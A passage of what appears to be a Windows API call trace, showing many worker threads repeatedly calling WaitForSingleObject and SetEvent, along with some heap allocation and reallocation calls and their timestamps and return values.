0x3b683b0 [0067.850] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b683b0, Size=0x2000) returned 0x3b63760 [0067.850] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63760, Size=0x4000) returned 0x3b63760 [0067.850] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63760, Size=0x8000) returned 0x3b917d0 [0067.851] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.953] SetEvent (hEvent=0x190) returned 1 [0067.953] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.049] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.120] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.193] SetEvent (hEvent=0x190) returned 1 [0068.193] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.271] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.342] SetEvent (hEvent=0x190) returned 1 [0068.342] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.427] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.541] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.633] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.729] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.795] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.865] SetEvent (hEvent=0x190) returned 1 [0068.865] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.938] SetEvent (hEvent=0x190) returned 1 [0068.938] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.088] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.168] SetEvent (hEvent=0x190) returned 1 [0069.168] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 212 os_tid = 0x9f0 [0067.786] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.848] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63760, Size=0x8000) returned 0x3b797a0 [0067.849] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1000) returned 0x3b683b0 [0067.849] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b683b0, Size=0x2000) returned 0x3b63760 [0067.849] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63760, Size=0x4000) returned 0x3b63760 [0067.849] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63760, Size=0x8000) returned 0x3b817b0 [0067.849] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.937] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.036] SetEvent (hEvent=0x190) returned 1 [0068.036] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.101] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.180] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.259] SetEvent (hEvent=0x190) returned 1 [0068.259] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.331] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.398] SetEvent (hEvent=0x190) returned 1 [0068.398] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.528] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.624] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.717] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.780] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.852] SetEvent (hEvent=0x190) returned 1 [0068.852] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.929] SetEvent (hEvent=0x190) returned 1 [0068.929] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.087] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.168] SetEvent (hEvent=0x190) returned 1 [0069.168] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 213 os_tid = 0xb0 [0067.787] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.848] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.937] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.036] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.101] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.179] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.259] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.331] SetEvent (hEvent=0x190) returned 1 [0068.331] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.410] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.528] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.623] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.704] SetEvent (hEvent=0x190) returned 1 [0068.704] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.780] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.852] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.928] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.062] SetEvent (hEvent=0x190) returned 1 [0069.062] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.152] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 214 os_tid = 0x7bc [0067.787] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.866] SetEvent (hEvent=0x190) returned 1 [0067.866] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.953] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.049] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.120] SetEvent (hEvent=0x190) returned 1 [0068.120] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.193] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.272] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.341] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.427] SetEvent (hEvent=0x190) returned 1 [0068.427] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.541] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.634] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.729] SetEvent (hEvent=0x190) returned 1 [0068.729] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.796] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.866] SetEvent (hEvent=0x190) returned 1 [0068.866] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.947] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.108] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 215 os_tid = 0x210 [0067.787] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.866] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.953] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.050] SetEvent (hEvent=0x190) returned 1 [0068.050] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.206] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.291] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.355] SetEvent (hEvent=0x190) returned 1 [0068.355] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.428] SetEvent (hEvent=0x190) returned 1 [0068.428] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.542] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.650] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.743] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.807] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.876] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.948] SetEvent (hEvent=0x190) returned 1 [0068.948] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.108] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 216 os_tid = 0x864 [0067.787] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.866] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.953] SetEvent (hEvent=0x190) returned 1 [0067.953] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.050] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.140] SetEvent (hEvent=0x190) returned 1 [0068.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.219] SetEvent (hEvent=0x190) returned 1 [0068.219] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.306] SetEvent (hEvent=0x190) returned 1 [0068.306] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.365] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.442] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.571] SetEvent (hEvent=0x190) returned 1 [0068.571] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.669] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.744] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.808] SetEvent (hEvent=0x190) returned 1 [0068.808] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.891] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.963] SetEvent (hEvent=0x190) returned 1 [0068.963] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.130] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 217 os_tid = 0x870 [0067.787] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.866] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.952] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.049] SetEvent (hEvent=0x190) returned 1 [0068.049] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.121] SetEvent (hEvent=0x190) returned 1 [0068.121] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.205] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.292] SetEvent (hEvent=0x190) returned 1 [0068.292] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.356] SetEvent (hEvent=0x190) returned 1 [0068.356] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.428] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.542] SetEvent (hEvent=0x190) returned 1 [0068.542] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.651] SetEvent (hEvent=0x190) returned 1 [0068.651] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.744] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.807] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.876] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.947] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.109] SetEvent (hEvent=0x190) returned 1 [0069.109] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 218 os_tid = 0x844 [0067.787] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.867] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x180) returned 0x3b69550 [0067.867] SetEvent (hEvent=0x190) returned 1 [0067.867] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.971] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.064] SetEvent (hEvent=0x190) returned 1 [0068.064] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.141] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.218] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.292] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.365] SetEvent (hEvent=0x190) returned 1 [0068.365] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.442] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.571] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.670] SetEvent (hEvent=0x190) returned 1 [0068.670] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.754] SetEvent (hEvent=0x190) returned 1 [0068.754] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.817] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.891] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.961] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.119] SetEvent (hEvent=0x190) returned 1 [0069.119] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 219 os_tid = 0xb84 [0067.787] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.867] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.972] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x180) returned 0x3b640f0 [0067.972] SetEvent (hEvent=0x190) returned 1 [0067.972] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.064] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.141] SetEvent (hEvent=0x190) returned 1 [0068.141] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.220] SetEvent (hEvent=0x190) returned 1 [0068.220] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.306] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.364] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.443] SetEvent (hEvent=0x190) returned 1 [0068.443] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.570] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.651] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.744] SetEvent (hEvent=0x190) returned 1 [0068.744] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.807] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.876] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.962] SetEvent (hEvent=0x190) returned 1 [0068.962] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.119] SetEvent (hEvent=0x190) returned 1 [0069.119] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 220 os_tid = 0xb7c [0067.788] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.867] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.971] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.050] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.120] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.193] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.272] SetEvent (hEvent=0x190) returned 1 [0068.272] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.341] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.410] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.529] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.633] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.718] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.796] SetEvent (hEvent=0x190) returned 1 [0068.796] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.865] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.938] SetEvent (hEvent=0x190) returned 1 [0068.938] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.089] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.168] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 221 os_tid = 0x9b0 [0067.788] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.867] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.971] SetEvent (hEvent=0x190) returned 1 [0067.971] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.050] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.120] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.206] SetEvent (hEvent=0x190) returned 1 [0068.206] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.292] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.355] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.427] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.542] SetEvent (hEvent=0x190) returned 1 [0068.542] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.650] SetEvent (hEvent=0x190) returned 1 [0068.650] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.743] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.807] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.876] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.947] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.108] SetEvent (hEvent=0x190) returned 1 [0069.108] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 222 os_tid = 0xb8c [0067.788] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.881] SetEvent (hEvent=0x190) returned 1 [0067.882] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.983] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x180) returned 0x3b64280 [0067.983] SetEvent (hEvent=0x190) returned 1 [0067.983] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.079] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.151] SetEvent (hEvent=0x190) returned 1 [0068.151] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.234] SetEvent (hEvent=0x190) returned 1 [0068.234] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.319] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.378] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.494] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.595] SetEvent (hEvent=0x190) returned 1 [0068.595] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.689] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.765] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.832] SetEvent (hEvent=0x190) returned 1 [0068.832] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.915] SetEvent (hEvent=0x190) returned 1 [0068.915] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.979] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.140] SetEvent (hEvent=0x190) returned 1 [0069.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 223 os_tid = 0x9ac [0067.788] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.881] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.982] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.064] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.139] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.206] SetEvent (hEvent=0x190) returned 1 [0068.206] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.292] SetEvent (hEvent=0x190) returned 1 [0068.293] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.365] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.442] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.570] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.651] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.743] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.807] SetEvent (hEvent=0x190) returned 1 [0068.807] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.876] SetEvent (hEvent=0x190) returned 1 [0068.877] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.962] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.119] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 224 os_tid = 0xb28 [0067.788] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.881] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.982] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.065] SetEvent (hEvent=0x190) returned 1 [0068.065] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.151] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.219] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.306] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.365] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.443] SetEvent (hEvent=0x190) returned 1 [0068.443] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.571] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.669] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.744] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.808] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.891] SetEvent (hEvent=0x190) returned 1 [0068.891] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.963] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.130] SetEvent (hEvent=0x190) returned 1 [0069.130] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 225 os_tid = 0x5e0 [0067.789] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.881] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.983] SetEvent (hEvent=0x190) returned 1 [0067.983] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.065] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.151] SetEvent (hEvent=0x190) returned 1 [0068.151] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.234] SetEvent (hEvent=0x190) returned 1 [0068.234] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.306] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.378] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.443] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.572] SetEvent (hEvent=0x190) returned 1 [0068.572] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.670] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.754] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.817] SetEvent (hEvent=0x190) returned 1 [0068.817] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.892] SetEvent (hEvent=0x190) returned 1 [0068.892] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.978] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.131] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 226 os_tid = 0x1c4 [0067.789] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.883] SetEvent (hEvent=0x190) returned 1 [0067.883] 